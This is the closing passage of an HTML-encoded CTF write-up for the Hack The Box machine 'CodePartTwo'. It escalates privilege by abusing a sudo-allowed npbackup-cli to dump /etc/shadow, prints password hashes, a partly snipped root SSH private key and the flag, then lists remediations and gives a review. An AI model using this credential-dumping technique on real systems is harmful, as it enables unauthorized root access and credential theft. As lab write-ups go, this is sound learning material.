763308b2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-7 z-d-7&quot;&gt; false&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;reason&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;Config file npbackup.conf cannot be read or does not exist&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;marco@codeparttwo:/tmp$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; sudo&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; /usr/local/bin/npbackup-cli&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ./backup.cfg&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-dump&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; /etc/shadow&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-snapshot-id&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; 763308b2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;root:$6$UM1RuabUYlt5BQ5q$ZtzAfYOaCaFxA8MGbyH1hegFpzQmJrpIkx7vEIKvXoVl830AXAx1Hgh8r11GlpXgY25LK8wF76nvQYQ1wLSn71:20104:0:99999:7:::&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;SNIP&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;marco:$6$i5xRI7UVqeBITIby$NQKHXVvAWz7Vl3QkEwgxw0ItF9Lwen4gGCBi.YYiDQTdkgcPABaqfmBzheAM/9JA/9J7szqDzPaIDbkNqc.0V.:20022:0:99999:7:::&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;app:$6$5iH3Zik78QR8t9Se$bgRAig/YjbMzwOTFME629sLrrTn2avVD9pLFwz0X2zBTz0LYfNIEuw6w5s53NNu2K7IeEJK4D6j9PB6SR.UvC0:20022:0:99999:7:::&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&quot;root-access&quot;&gt;Root Access&lt;/h2&gt;
&lt;p&gt;The above root hash wasn’t easily crackable with &lt;code&gt;john&lt;/code&gt; and &lt;code&gt;rockyou.txt&lt;/code&gt; so I just used the above approach to guess the flag location and read out &lt;code&gt;/root/root.txt&lt;/code&gt; to yield the flag: &lt;code&gt;09cd485933fb29e34fefb7f5a9ea00d8&lt;/code&gt; – which is a shortcut.&lt;/p&gt;
&lt;p&gt;However, it should be noted that the following private key is stored in &lt;code&gt;/root/.ssh/id_rsa&lt;/code&gt; which can be used to login as the root account.&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-----BEGIN OPENSSH PRIVATE KEY-----&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;SNIP&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MBhgprGCU3dhhJMQAAAAxyb290QGNvZGV0d28BAgMEBQ==&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-----END OPENSSH PRIVATE KEY-----&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This key is passwordless, and allows immediate SSH access to the flag.&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;┌──(akses㉿kali&lt;/span&gt;&lt;span&gt;)-&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;~/htb/codeparttwo&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;└─$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ssh&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; root@codeparttwo&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ./root.key&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;SNIP&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;root@codeparttwo:~#&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; cat&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; root.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;09cd485933fb29e34fefb7f5a9ea00d8&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/ctf-writeups/code-part-2/codeparttwo-pwnd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1 id=&quot;suggested-remediations&quot;&gt;Suggested remediations&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Maintain regular patching of code libraries and dependencies in the web application&lt;/li&gt;
&lt;li&gt;Reconsider allowing code execution directly against the webserver host via the website, apply segregation of responsibility to the application architecure, e.g. use of epehermeral execution environments that cannot access the webserver host.&lt;/li&gt;
&lt;li&gt;Ensure passwords are strong and not reused between applications and services. Always use password protected certificates for all privileged access (e.g. via SSH, databases, etc)&lt;/li&gt;
&lt;li&gt;Avoid manual backup procedures that rely on low privileged users having elevated privilege. Consider a seperate backup server with RBAC to prevent unauthorized access to the webservers root filesystem.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id=&quot;my-review-4-stars&quot;&gt;My review: 4 stars&lt;/h1&gt;
&lt;p&gt;I enjoyed this box as it was simple and somewhat realistic - developer tooling has historically been a problematic area because of the need to run as administrator on workstations, and CI/CD tooling needing to allow remote arbitrary code excetion as a feature. Normally this would be considered a security flaw - not a feature! So the owners of these tools need to be extremely careful about sandboxing the environment that allows untrusted input.
I didn’t give it 5 stars because I think that the scenario is a little contrived and it would be (IMO) more interesting to explore a box that attempted to give this feature to others with some more thought given to the architecture. Given ‘code’ part one used docker containers (if I recall correctly), this approach seems like a regression rather than an improved architecture.&lt;/p&gt;
</content>
        
    </entry>
</feed>
